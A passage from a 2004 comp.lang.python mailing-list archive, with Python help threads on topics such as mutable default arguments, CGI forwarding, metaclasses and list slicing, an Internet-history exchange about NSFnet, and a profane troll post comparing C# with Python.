> is flat or smoking is good for your health.

"Manipulative"?!  What are they trying to manipulate you to do,
make wise decisions?

People in general, and most programmers, are ignorant about
security.  This organization seems to be doing a very good public
service for these times...

-Peter


From fredrik at pythonware.com  Sun Sep 19 06:02:59 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 19 Sep 2004 12:02:59 +0200
Subject: XML_RPC and unicode problems
References: <7bf84d19.0409161548.521da358@posting.google.com><mailman.3422.1095379149.5135.python-list@python.org><y_ydnc-FMKhHpdfcRVn-vQ@powergate.ca><414A8659.7080902@v.loewis.de><psOdnbn9S-N2TNfcRVn-jg@powergate.ca><414b2ea8$0$6335$9b622d9e@news.freenet.de>
	<ciib05$7a$1@bagan.srce.hr>
Message-ID: <cijlcs$454$1@sea.gmane.org>

Ivan Voras wrote:

> Why is that? There's <base64> for data that's expected to be binary[*], and <string> for 
> everything else that's valid under chosen encoding.

"that's valid in XML", that is.  no matter what encoding you use, you
can still use character references to insert other characters.

</F> 





From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Fri Sep 24 10:01:08 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Fri, 24 Sep 2004 15:01:08 +0100
Subject: Bulding python module using C
In-Reply-To: <20040924134408.GE99980@astral-on.net>
References: <20040924134408.GE99980@astral-on.net>
Message-ID: <cj19b6$5j1$1@pegasus.csx.cam.ac.uk>

Andrew Degtiariov wrote:

> Traceback (most recent call last):
>   File "test.py", line 6, in ?
>     n.first = 'test'
> TypeError: can't set attributes of built-in/extension type 'noddy3.Noddy'
> 
> Where was i wrong?

You are trying to set an attribute on the type instead of an *instance* 
of the type.

> n = noddy3.Noddy

n = noddy3.Noddy()
--
Michael Hoffman


From irmen at -nospam-remove-this-xs4all.nl  Tue Sep 28 14:01:00 2004
From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong)
Date: Tue, 28 Sep 2004 20:01:00 +0200
Subject: Metaclass to make all methods of a class thread-safe
In-Reply-To: <4edc17eb.0409280042.5709f6ab@posting.google.com>
References: <415728eb$0$78753$e4fe514c@news.xs4all.nl>
	<4edc17eb.0409270141.4faf130c@posting.google.com>
	<41586889$0$568$e4fe514c@news.xs4all.nl>
	<4edc17eb.0409280042.5709f6ab@posting.google.com>
Message-ID: <4159a6dc$0$10528$e4fe514c@news.xs4all.nl>

Michele Simionato wrote:

[...interesting stuff about descriptors and method types...]

Thanks for this information, I have something to study
if I want to make my next metaclass :)

--Irmen


From fuzzyman at gmail.com  Thu Sep 23 04:38:54 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 23 Sep 2004 01:38:54 -0700
Subject: POST from a CGI
References: <6f402501.0409220027.65be4885@posting.google.com>
	<qnkr7ou2h45.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <6f402501.0409230038.764bbcc3@posting.google.com>

cookedm+news at physics.mcmaster.ca (David M. Cooke) wrote in message news:<qnkr7ou2h45.fsf at arbutus.physics.mcmaster.ca>...
> fuzzyman at gmail.com (Michael Foord) writes:
> 
> > I'm receiving POST data to a CGI, which I'd like to forward to another
> > CGI using urllib2.
> >
> > I have two options -
> >
> > 1) Parse the data using cgi.FieldStorage() and then rebuild the POST
> > request into a dictionary - including any files (? uploading files by
> > urllib2 untested and undocumented - examples seem to be for httplib).
> >
> > 2) Read the whole POST data in using sys.stdin.read(), rebuild the
> > 'Content-type' and 'Content-length' headers and make the POST.
> >
> > Obviously (2) is a *lot* less fiddly and less error prone. *But* I'm
> > getting 400 errors when I try it (server thinks request is malformed).
> > I've checked the headers and the body data and they seem normal and I
> > can't work it out.
> >
> > I wonder if anyone can see what I'm doing wrong......
> > (Simple code shown first - then a straightforward example that ought
> > to work and fails).
>  [snip]
> > info = u.info()         # info about the url
> > pagetype = info.gettype()
> > print 'Content-type: ' + pagetype + '\n'
> > print u.read()          # print the received page
> 
> I think this is your problem: print is adding an extra \n to the end,
> so the length of the data doesn't agree with the Content-length
> header. Use sys.stdout.write.

Those instructions occur *after* the 400 error. The 400 occurs when
the request is first sent to the server..... In actual fact I think
the problem is with the bleeding edge version of ClientCookie I was
using. When I tested my code with urllib2 it worked as expected !!

Thanks 

Michael Foord
http://www.voidspace.org.uk/atlanitbots/pythonutils.html


From jeffrey at fro.man  Thu Sep  9 20:21:14 2004
From: jeffrey at fro.man (Jeffrey Froman)
Date: Thu, 09 Sep 2004 17:21:14 -0700
Subject: attribute assignment effects all class instances
References: <090920041659242407%anon@anon.net>
Message-ID: <10k1srssgibi768@corp.supernews.com>

anon wrote:

> 
> Here's the wierd thing, in another module I have:
> 
> node.adjacent[left] = y
> 
> where node is an instance of the Node class.??This?statement?assigns
> all Node instances the value y to attribute adjacent[left].??This?seems
> very wrong, unless python resolves names in a case-insensitive way.

When you assign the default value for adjacent in the constructor definition
as you do, that list is created only one time, and the same list is passed
as the default value for each instance of Node.

Thus, when you alter the list, the change shows up in all instances, because
they are all using the same list.

> When I try the alternate:
> 
> node.adjacent = [None, y, None, None]
> 
> I get the behavior I expect (ie. only the instance node gets its
> attribute set)

In the second case you have not altered the existing list, but rather
reassigned your attribute to a new list. Hence, only the node you are
working on changes. At that point all of the nodes *except* the one you
just changed are using the same list for the "adjacent" attribute.
 

Hope that helps,
Jeffrey


From peterj at mail.com  Mon Sep 20 20:34:19 2004
From: peterj at mail.com (Peter Jensen)
Date: Tue, 21 Sep 2004 02:34:19 +0200
Subject: Error with output from a variable....
References: <414f740c$0$13806$ba624c82@nntp05.dk.telia.net>
Message-ID: <414f76c3$0$13805$ba624c82@nntp05.dk.telia.net>

The def i call in the last line of the code starting with elif menu_choice 
==2 is:

 def tilfoej_stud(navn,aarskortnummer,stud,adresse):
    navn[aarskortnummer] = stud

Thanks

"Peter Jensen" <peterj at mail.com> wrote in message 
news:414f740c$0$13806$ba624c82 at nntp05.dk.telia.net...
>
> Hi all.
>
> I been playing around with this program, that lets you enter a student 
> name, his studentcard numner and his address. You can then change the 
> data, save it as a file, and load it again. All works except one tiny 
> thing.
>
> The error is in the: def udskriv_stud(studs):
>
> def udskriv_stud(studs):
>    print "De studerende i gruppen er:"
>    for x in studs.keys():
>        print "Navn: ",x," \tAarskortnummer: ", studs[x], "\tAdresse:" 
> ,adresse, #<--- Here is the error
>        print ""
>    print
>
> When I enter more than one student the new address will overwrite the old 
> one. So that when I print all the students in the file out, they will all 
> have the address that I entered for the last student.
>
> The code where I use the def udskriv_stud(studs): is
>
> elif menu_choice == 2:
>        print "Indtast navn og aarskortnummer:"
>        navn = raw_input("Navn:")
>        aarskortnummer = raw_input("Aarskortnummer:")
>        adresse = raw_input("Adresse:")
>        tilfoej_stud(phone_list,navn,aarskortnummer,adresse)
>
>
> I can see that the it just replaces the raw_input value from adresse over 
> and over again.
> Do any of you have some good suggestions.
>
> Thanks
>
>
> 




From firstname at lastname.pr1v.n0  Thu Sep  9 06:18:36 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Thu, 9 Sep 2004 12:18:36 +0200
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<opsdxecgt8pqzri1@mjolner.upc.no>
	<t7mjhc.ubd.ln@via.reistad.priv.no>
	<uisaoutfz.fsf@mail.comcast.net>
Message-ID: <slaphc.beh1.ln@via.reistad.priv.no>

In article <uisaoutfz.fsf at mail.comcast.net>,
Anne & Lynn Wheeler  <lynn at garlic.com> wrote:
>Morten Reistad <firstname at lastname.pr1v.n0> writes:
>> Since I am on a roll with timelines; just one off the top of my head : 
>>
>> Project start     : 1964
>> First link        : 1969
>> Transatlantic     : 1972 (to Britain and Norway)
>> Congested         : 1976
>> TCP/IP            : 1983 (the effort started 1979) (sort of a 2.0 version)
>> First ISP         : 1983 (uunet, EUnet followed next year)
>> Nework Separation : 1983 (milnet broke out)
>> Large-scale design: 1987 (NSFnet, but still only T3/T1's)
>> Fully commercial  : 1991 (WIth the "CIX War")
>> Web launced       : 1992
>> Web got momentum  : 1994
>> Dotcom bubble     : 1999 (but it provided enough bandwith for the first time)
>> Dotcom burst      : 2001
>
[i'll snip the excellent references you always come up with]

>was for backbone between regional locations ... it was suppose to be
>T1 links. What was installed was IDNX boxes that supported
>point-to-point T1 links between sites ... and multiplexed 440kbit
>links supported by racks & racks of PC/RTs with 440kbit boards ...  at
>the backbone centers.

It was an upgrade from 56k. The first versions of NSFnet was not really
scalable either; noone knew quite how to design a erally scalable network, 
so that came as we went.

>the t3 upgrades came with the nsfnet2 backbone RFP

For the grand timeline I'll see the two nsfnets as a continuing
development. 

>my wife and i somewhat got to be the red team design for both nsfnet1
>and nsfnet2 RFPs.
>
>note that there was commercial internetworking protocol use long
>before 1991 ... in part evidence the heavy commercial turn-out at
>interop '88
>http://www.garlic.com/~lynn/subnetwork.html#interop88

Yes, commercial internet offerings were available as early as in
1983-84; but until Cisco, IBM, Wellfleet and Proteon made real router
gear (1986?) it was a little lame.  I remember lamenting the software
of the IBM routers in ca1988; because they were light years ahead
of the competition in the actual hardware design. 

But until 1991 (Gordon Cook has the gory detail) you had to accept the
NSFnet AUP if you wanted full connectivity. (academic only, in
principle; although dissimination of Open Source products was probably
acceptable). A lot of the important servers and sites was only reachable
through this "full connectivity"; so uunet, EUnet, PSInet and others
had a collaboration to build around NSFnet. The first 'Ix was born
to exchange traffic; the CIX. 

It didn't go smoothly though. Some institutions had to be threatened
with retribution; and "Inverse AUP" to accept connectivity. But the
"CIX war" was won by the good guys; and the Internet became a commercial
endeavour. 

In other jurisdictions it took a little longer. In Norway it took a
parliamentary debate to make it crystal clear that a soggy half-commercial
model was unacceptable; and the threat of legislation was used. 

We had plans for a fully commercial ISP ready, in practice since 1986; 
and in 1992 we ran to implement them. 

>the issue leading up to the cix war was somewhat whether commercial
>traffic could be carried over the nsf funded backbone .... the
>internetworking protocol enabling the interconnection and heterogenous
>interoperability of large numbers of different "internet" networks.
>
>part of the issue was that increasing commercial use was starting to
>bring down the costs (volume use) .... so that a purely nsfnet
>operation was becomming less and less economically justified (the cost
>for a nsfnet only operation was more costly and less service than what
>was starting to show up in the commercial side).

It was the pains of the Internet growing out of academia, without a
good model to regulate it. 

>part of the issue was that there was significant dark fiber in the
>ground by the early 80s and the telcos were faced with a significant
>dilemma ....  if the dropped the bandwidth price by a factor of 20
>and/or offerred up 20 times the bandwidth at the same cost .... it was
>be years before the applications were availability to drive the
>bandwdith costs to the point where they were taking in sufficient
>funds to cover their fixed operating costs. so some of the things you
>saw happening were controlled bandwidth donations (in excess of what
>might be found covered by gov. RFPs) to educational institutions by
>large commercial institutions .... for strictly non-commercial use
>Such enourmous increases in bandwidth availability in a controlled
>manner for the educational market would hopefully promote the
>development of bandwidth hungry applications. They (supposedly) got
>tax-deduction for their educational-only donations .... and it
>wouldn't be made available for the commercial paying customers.

But this cannot be enforced without firewalls; and these institutions
didn't want to erect those; and wanted the policy hammered into the
Internet itself. That would have killed the Internet. Fortunatly
the "second internet"; a commercial Internet on purely commercially
obtained hardware and circuits; was built around the NSFnet. But the
two needed to interconnect. For a while there were two internets; 
one commercial and one academic that only half-way interconnected.
It was finally resolved in 1991; and from then on the Internet as
such was a fully comemrcial internetwork; where AUP's only applied to
local networks. 

-- mrr


From jgrahn-nntq at algonet.se  Mon Sep  6 18:30:47 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Mon, 6 Sep 2004 22:30:47 +0000 (UTC)
Subject: Installing scripts and documentation
Message-ID: <slrncjpp64.s1l.jgrahn-nntq@frailea.sa.invalid>

Someone recently brought this up in the thread "Linux application
deployment", but from a slightly different angle.

I have a problem.

When I write small utilities for Unix in C, C++, Perl or /bin/sh, I always
write one or more manpages, and make all of it installable with a trivial
Makefile with an 'install' target. The things end up in /usr/local/bin,
/usr/local/man etc by default.  Crude, but works well enough for my
purposes.

Nowadays, when I write some things in Python, there's a problem. The list of
installable things suddenly tends to include modules as well (which I
usually try to wrap in a package).

Distutils is the only tool which knows what to do with these (compiling
them, placing them in the correct site-packages etc), but at the same time
distutils knows nothing about copying executables to somewhere in the $PATH,
copying manual pages to somewhere in $MANPATH, and so on.

Any tools, tricks or conventions that I'm unaware of?

BR,
Jorgen

-- 
  // Jorgen Grahn <jgrahn@       Ph'nglui mglw'nafh Cthulhu
\X/                algonet.se>   R'lyeh wgah'nagl fhtagn!


From des.small at bristol.ac.uk  Thu Sep 16 09:19:18 2004
From: des.small at bristol.ac.uk (Des Small)
Date: Thu, 16 Sep 2004 13:19:18 GMT
Subject: python: ascii read
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>
	<1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com>
	<cibvv7$ubq$1@fsuj29.rz.uni-jena.de>
	<1gk7mc1.bc05un1x83yxsN%aleaxit@yahoo.com>
Message-ID: <yyrj1xh2fj29.fsf@pc156.maths.bris.ac.uk>

aleaxit at yahoo.com (Alex Martelli) writes:

> If your needs are very specific (you know a lot about the format of
> those huge files -- e.g. they're column-oriented, or only use
> whitespace separators and \n line termination, or other such
> specifics) you might well be able to do better -- likely even in
> Python, worst case in C.  I assume you need Numeric arrays, 2-d,
> specifically, as the result of reading your files?  Would you know
> in advance whether you're reading int or float (it might be faster
> to have two separate functions)?  Could you pre-dimension the
> Numeric array and pass it in, or do you need it to dimension itself
> dynamically based on file contents?  The less flexibility you need,
> the simpler and faster the reading can be...

The last time I wanted to be able to read large lumps of numerical
data from an ASCII file, I ended up using (f)lex, for performance
reasons.  (Pure C _might_ have been faster still, of course, but it
would _quite certainly_ also have been pure C.)

This has caused minor irritation - the code has been in use through
several upgrades of Python, and it is considered polite to recompile
to match the current C API - but I'd probably do it the same way again
in the same situation.

Des
-- 
"[T]he structural trend in linguistics which took root with the
International Congresses of the twenties and early thirties [...] had
close and effective connections with phenomenology in its Husserlian
and Hegelian versions." -- Roman Jakobson


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Sat Sep 25 17:21:41 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Sat, 25 Sep 2004 22:21:41 +0100
Subject: Dynamic Import
In-Reply-To: <vOCdnQF0l8oFQsjcRVn-sA@comcast.com>
References: <vOCdnQF0l8oFQsjcRVn-sA@comcast.com>
Message-ID: <cj4nh8$4gu$1@pegasus.csx.cam.ac.uk>

OctoberSnake wrote:

> Can I import modules dynamically?  Say for example I wanted the user to
> specify what module my script would import, how to do this?

I would start by Googling for <dynamically importing modules python>.
--
Michael Hoffman


From pf_moore at yahoo.co.uk  Mon Sep 20 15:39:17 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Mon, 20 Sep 2004 20:39:17 +0100
Subject: Python binaries for Solaris, HP-UX
References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de>
	<uisab1stx.fsf@yahoo.co.uk> <973u12-rta.ln1@valpo.de>
	<u3c1eqvxd.fsf@yahoo.co.uk> <46d022-k59.ln1@valpo.de>
Message-ID: <uoek0logq.fsf@yahoo.co.uk>

Mathias Waack <M.Waack at gmx.de> writes:

> Paul Moore wrote:
>
>> The binary distribution is a compressed
>> depot file
>
> which in fact is a simple tar file or shell archive (I have no access
> to a HP box from home and I can't remember exactly). Thus you can
> unpack the depot file wherever you want, correct the directory
> layout and use it. Of course this works only for location
> independent (ie. well designed) packages. Python is one of these. 

Ah! That's the thing I needed. Thanks for your patience - I'll go and
try it out.

Paul.
-- 
This signature intentionally left blank


From aleaxit at yahoo.com  Tue Sep 28 08:33:32 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 28 Sep 2004 14:33:32 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<mailman.3957.1096289972.5135.python-list@python.org>
	<tyfacvag7h4.fsf@pcepsft001.cern.ch>
Message-ID: <1gktuz9.1ww1usisimxlgN%aleaxit@yahoo.com>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote:
   ...
> > No, you can't, and it's not just a parser issue. Python uses direct
> > C calls to the native dict type. It's hard coded,
> 
> I feared this would be the case.

It's not (not in 2.4 at least) -- the STORE_NAME is quite ready to find
a non-dict as the frame's f_locals.  The problem is getting your object
to be used as the frame's f_locals in the first place -- hard but that
only affects a few spots in ceval.c.


Alex


From nobody at hotmail.com  Tue Sep 28 19:21:12 2004
From: nobody at hotmail.com (Maboroshi)
Date: Tue, 28 Sep 2004 16:21:12 -0700
Subject: Python + strange == cool
Message-ID: <10ljshapfl2nbd8@corp.supernews.com>

All fine and good <below>

 >>> x = ["list1", "list2", "list3", 4, 5, 6, 7]
 >>> x[1:-1]
['list2', 'list3', 4, 5, 6] # All good here

this struck me as weird I had an idea to mess around with lists <below>

 >>> x[1:+1]
[]

now when I do this
 >>> x[1:+2]
['list2']

Does this puzzle anyone else

of course I am a total novice so I have no idea what I am doing here if 
anyone has any ideas please reply


From marcus at deepfort.com  Mon Sep 20 07:10:31 2004
From: marcus at deepfort.com (marcus at deepfort.com)
Date: Mon, 20 Sep 2004 12:10:31 +0100
Subject: python is going to die! =(
In-Reply-To: <cikveo$fld$1@sea.gmane.org>
References: <cikveo$fld$1@sea.gmane.org>
Message-ID: <414EBAA7.3050603@deepfort.com>

julio wrote:

>  Sorry but there is no another way, c# .net and mono are going to rip
>python, not because python is a bad lenguage, but because is to darn old
>and it refuses to innovate things, to fix wrong things, just because
>retarded backwards compatibility and because the python comunity and
>developers refuses to consider tools as being almost as important as the
>language itself. 
>
>What does c# .net has that python doesnt ? (significant features) 
>
>-- tools,tools,tools : have people that likes python ever used an ide? i
>mean a good ide, the one that saves you a lot of time, and makes you
>productive.
>
> looks like they havent, they think new people is willing to practice emacs
>for 6 months before even thinking about being productive, not to mention
>you have to learn 20 years old list, and low level c stuff to have fully
>advantage. Those guys are realy happy with their stuff that totaly,
>completly refuses to try a new tool, a new tool that 'is' better, like say,
>an ide??.
>
> Then we have the , you just need a text editor. This is realy amazing,
>tecnology improves, people have to change their way of thinking, i realy
>cant count the number of text editors avaiable for python, with basicaly
>just syntax highlighting.For example, idle :
>
> idle is just a text editor with syntax color,nothing else, then you see
>that half of buttons are so fucking retarded things that you never
>need,indentation stuff, replace tabs and all crap that you never realy
>need, the class browser and path browser were in the right way, before they
>got abandoned with just the most basic low functionality.
>
> No help in real programing? why? why do i need to press a retarded button
>to indent-deindent reindent stuff but i dont need help with integrated help
>system , code completion , source assistant , a freaking decent calltips
>support, etc ? It realy makes no sense , no sense at all.
>
> Why do these people keep reinventing text editors again and again and again
>to just add some retarded functionality that noone ever needs? pycrust ,
>drpython, leo , idle , eclipse plugins(py editors with color) they all love
>to reinvent the wheel instead of trying to work together on some common
>project to do something usefull, boy if i want a text editor with syntax
>color i just use vim,or kate or something.
>
>For the C # Side there IS : 
>
> sharp develop, wich is going to be ported to linux and mac, and it is even 
>better than vstudio! is open source .
> 
> monodevelop , which is a little inestable but very very usable , and has
>real features!! proyect browsing , full calltips ,code completion,source
>help, doc help system , you know , productivity features.
>
>
> -- C # is almost perfetly designed, python is very well designed but it has
>some crap that obscurize it and is not going to be removed because of the
>damn backwards compatibility thing, C # has all the advantages there is
>new ,it has learned from other languages mistakes. Python must break
>backward compatibility to be at the same level of play. 
>At least python has just a few problems in this area compared to java,which
>is 50% crap , just to hold backwards compatibility. 
>
> -- C # is easy to use,fast apps coding (as python) but!! it has all the
>advantages of a compiled language , like less bugs concerning silly types
>mistakes , ides and tools can take much much more advantage of static
>typing , it is much much much faster , and finally is much more readable
>than python since i dont have to be guessing in the woods to know what type
>of value a function return , or what types are the functions argument or
>WTF does 'return MOM' means?
>
>-- C # is killing python, first the gnome guys dont know what to choose for
>their core system development , if mono-C # ? or java ? the only reason C #
>hasnt being choosen is because of legal issues, and java? well it realy
>sucks so no surprise , but is considered just because eclipse wich is the
>most kick ass ide ever. AND they dont even consider python for a high level
>language to choose!!
>
>  Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects
>and C# is much younger than python, not to mention mono is new!! 2 times
>more C # proyects are started than python proyects by month, so very soon
>C# is going to completly replace python in their areas. Not to mention that
>C# proyects are generaly bigger, compared to small command line tools,
>python proyects.
>
> I think is a fact, reality , there is just no way python is going to
>survive, i would be happy if someone knows or see something i dont ,
>because i realy like python, but : C # which has all the m$ licenses and
>crap involved is so superior to python in so many ways, its not even
>funny,and C# has serius tools, ides ,etc. Look at
>nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW
>wingware has a very nice ide, but close sourced and at a price of 200$ for
>os is ridiculous,and their personal edition is pure crap, no
>code-assistant ? lol. Is there a posibility python survives 2 years more at
>least? 
>
>Btw , nice quotes on python site : "Python has been an important part of
>Google since the beginning, and remains so as the system grows and evolves.
>Today dozens of Google engineers use Python, and we're looking for more
>people with skills in this language." said Peter Norvig, director of search
>quality at Google, Inc.
>
>But the google code jam, the one google searchs for new hackers to join
>their lines is only for c# , java , c++ , nice irony , lie,lie.
>  
>

I'm relatively new here, so I'll only briefly mention It'd be nice if 
you could post with a civil keyboard.

Dabbing away the spittle for a moment, that troll-post contained a 
nugget of truth.

A lot of Python users are open-minded enough to accept that huge bloated 
IDEs are *very* useful in the right circumstances (even if they're not 
our own circumstances), and intelligent enough to realize that the day 
Microsoft produces the best and most useful tool for those *taking up* 
the language, it's likely that the rest of us will get a lot of problems 
and headaches from that (standard Python programs which rely on .NET 
anyone?).

That's why there are a few different ways to get your hands on a python 
IDE (especially if you're able to shell out some $) and that's why 
despite the arguable dearth of really muscular and really free "visual 
IDEs" for python, a lot of us are constantly covering ground in this 
respect.

I'll stop, I've seen a lot of people respond to your posts, so with 
respect to yourself, I'll sit back and see from your responses here 
whether you were just fishing for flames or not.


From remy.blank_asps at pobox.com  Tue Sep 21 11:08:47 2004
From: remy.blank_asps at pobox.com (Remy Blank)
Date: Tue, 21 Sep 2004 17:08:47 +0200
Subject: OT: regex to find email
In-Reply-To: <4a0cafe204092108038020f72@mail.gmail.com>
References: <4a0cafe204092108038020f72@mail.gmail.com>
Message-ID: <cipg60$ap1$1@sea.gmane.org>

Josh Close wrote:
> I've been trying to find a good regex to parse emails, but haven't
> found any to my liking. I basically need to have
> 
> ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE )
> 
> but the first part can't start with .-_ and the last part has to have
> a . in it (first/last being before/after the @).

I'd try something like (untested):

[a-z0-9][a-z0-9\._-]*@[a-z0-9\._-]+\.[a-z0-9\._-]+

Basically, you have to remember to say *how many* characters you want
of a specific set, that's what the '*' and '+' are for.

-- Remy


Remove underscore and suffix in reply address for a timely response.



From thorsten at thorstenkampe.de  Mon Sep 20 07:25:56 2004
From: thorsten at thorstenkampe.de (Thorsten Kampe)
Date: Mon, 20 Sep 2004 13:25:56 +0200
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<KZr3d.53$3Y2.19@fe61.usenetserver.com>
Message-ID: <1c7kyo6hkmag$.dlg@thorstenkampe.de>

* Hans Nowak (2004-09-20 05:17 +0200)
>>  -- C # is almost perfetly designed, python is very well designed but it has
>> some crap that obscurize it and is not going to be removed because of the
>> damn backwards compatibility thing, 
> 
> The "damn backwards compatibility thing" guarantees that older Python code 
> still runs, more or less unchanged, on recent interpreters.  (Well, most of the 
> time.)

I've never seen such a "progressive" language as Python. Not many
people care about "backwards compatibility" to Python 1.5.2 for
instance.

New language constructs are rapidly adopted; often you can hear
someone say: "in Python 2.4 you could write this as..." ... and noone
objects. Now if that isn't progressive...

Thorsten


From brenNOSPAMbarn at NObrenSPAMbarn.net  Thu Sep 23 17:31:10 2004
From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke))
Date: 23 Sep 2004 21:31:10 GMT
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
Message-ID: <Xns956D93ADD811BOKB@130.133.1.4>

anton muhin wrote:

> I beg your pardon for possibly stupid comment---I haven't practice
> GUI programming for a long time, especially in Python. However I
> mostly prefer declarative approach for the problems like that.
> Therefore, wouldn't it be interesting to describe the structure
> with class and metaclass mechanism, like:
> 
> class MainFrame(FrameDescription):
> 
>    class b1(ButtonDescription):
>      size = (40, 40)
>      text = "b1"

    	I've recently been working on a system that lets you do that kind 
of thing.  It's a set of metaclasses that wrap the wxPython classes so 
you define your GUI with nested class structures.  Certain things are 
hard here because of the way class definitions are handled in Python, 
but I am making progress.

    	If anyone's interested, you can see an example of what the GUI code 
looks like at http://www.brenbarn.net/misc/idealgui.txt .  This is code 
that actually produces a working program with my current setup.  It 
won't work for anyone else, of course, because I haven't made my library 
available yet.  My main goal here, though, is to get it so the code 
LOOKS nice, so just seeing how the code looks will give you an idea of 
the style.

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From dperl at rogers.com  Fri Sep  3 00:11:18 2004
From: dperl at rogers.com (Dan Perl)
Date: Fri, 03 Sep 2004 04:11:18 GMT
Subject: Recursive Generator Question
References: <6543373d.0409021839.5caff11d@posting.google.com>
	<mailman.2804.1094182395.5135.python-list@python.org>
Message-ID: <G9SZc.177924$UTP.73147@twister01.bloor.is.net.cable.rogers.com>

"Jp Calderone" <exarkun at divmod.com> wrote in message
news:mailman.2804.1094182395.5135.python-list at python.org...
> Paul Chiusano wrote:
       .........
>    The generators are a red herring :)  Iterating over an object calls
> __iter__ on the object, then repeatedly calls next on the object
> returned by __iter__.  Each object next returns is taken as a value for
> iteration.
>
>    So, if we examine your node class, we see that when __iter__ is
> called, the same object is returned.  When next is called on the node
> class, a generator is returned.  Oops.  Throw away your current __iter__
> method and rename your next method __iter__.  Now when __iter__ is
> called, it will return a generator, and when next is called on the
> generator, you will get the leaf nodes you were looking for.

I think a clarification is in order here.  Done this way, __iter__ *IS* a
generator function and it returns an iterator, not a generator.  The next( )
is called on the iterator returned by __iter__.  Using __iter__ as the
generator takes advantage of the fact that the 'for' statement invokes it
implicitly.  But the generator could have any name and it would just have to
be called explicitly.

I would rather do it the explicit way, and it's not just because I'm
following the advice I've been getting from a lot of people in another
thread, where I was on the 'implicit' side of the argument.   ;-)

But this way, the 'implicit' call to __iter__, works too.

Dan




From aleaxit at yahoo.com  Tue Sep 14 10:43:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 16:43:29 +0200
Subject: stupid namespace tricks
References: <N3l1d.1$26.0@llslave.llan.ll.mit.edu>
Message-ID: <1gk438e.fkumk4d0f3gmN%aleaxit@yahoo.com>

David Rysdam <drysdam at ll.mit.edu> wrote:
   ...
> 2) function_defaults.py imports nothing, defines logError() and also 
> sets up a default global like so:
> 
> dictGlobal = {'logError':logError}

the function logError's globals are therefore the globals of module
function_defaults.

> 3) And then in myDaemon I "import functions_default" and do this:
> 
> exec(body, functions_default.dictGlobal)

function_defaults.dictGlobal [[I assume the missing trailing s was just
a typo]] is the globals for that body, but not of course for any
functions which that body might call from other modules (such as
logError), which will each use the globals of the respective module.

> I added this to myDaemon.py ahead of the exec():
> 
> functions_default.dictGlobal['id'] = scriptlet['id']
> 
> But when I get to logError, 'id' isn't there.

Right, though if would be if you had coded:

vars(function_defaults)['id'] = scriptlet['id']

(again I assume there are typos regarding the 's' location...).


Alex


From jeffrey at fro.man  Tue Sep 14 01:13:34 2004
From: jeffrey at fro.man (Jeffrey Froman)
Date: Mon, 13 Sep 2004 22:13:34 -0700
Subject: My first attempt at subclassing....Gahh!
References: <95c29a5e.0409131910.5c916122@posting.google.com>
Message-ID: <10kcvg1c7cocg25@corp.supernews.com>

Robin Siebler wrote:

> class report(filecmp.dircmp.report):

Here you are attempting to subclass an instance method instead of another
class.

Jeffrey


From marc.jeurissen at ua.ac.be  Mon Sep 13 09:00:40 2004
From: marc.jeurissen at ua.ac.be (Marc Jeurissen)
Date: Mon, 13 Sep 2004 15:00:40 +0200
Subject: Property with parameter...
In-Reply-To: <4145536F.7070904@peto.hu>
References: <4145536F.7070904@peto.hu>
Message-ID: <ci45lp$cjb$1@sea.gmane.org>

Why not just like this or does this create 'hidden traps'?


class A:
     def __init__(self):
         self.__name = {}

     def __setname(self, name):
         for tag in name:
             self.__name[tag] = name[tag]

     def __getname(self):
         return self.__name

     name = property(__getname, __setname)

     def show(self):
         print self.__name



a = A()
a.name['one'] = 1
a.name['two'] = 2
a.show()
-> {'two': 2, 'one': 1}

print a.name['two']
-> 2


Marc



kepes.krisztian wrote:

> Hi !
> 
> I want to create a property that can use parameter(s).
> In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> 
> Canvas.GetPixel(self,X,Y):integer; 
> Canvas.SetPixel(self,X,Y,Color::integer);
> 
> class A(object):
>      def __init__(self):
>          self.__Tags={}
>      def GetTag(self,tname):
>          return self.__Tags.get(tname,None)
>      def SetTag(self,tname,value):
>          self.__Tags[tname]=Value
>      Tag=property(GetTag,SetTag)
> 
> a=A()
> print a.Tag('A')
> print a.Tag['A']
> 
> But it is seems to be not possible in this way.
> 
> How to be can ?
> 
> Thanx for help !
> KK
> 
> 



From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Tue Sep 28 18:58:27 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Tue, 28 Sep 2004 23:58:27 +0100
Subject: annoying behavior
In-Reply-To: <9418be08.0409281438.25e2abe@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
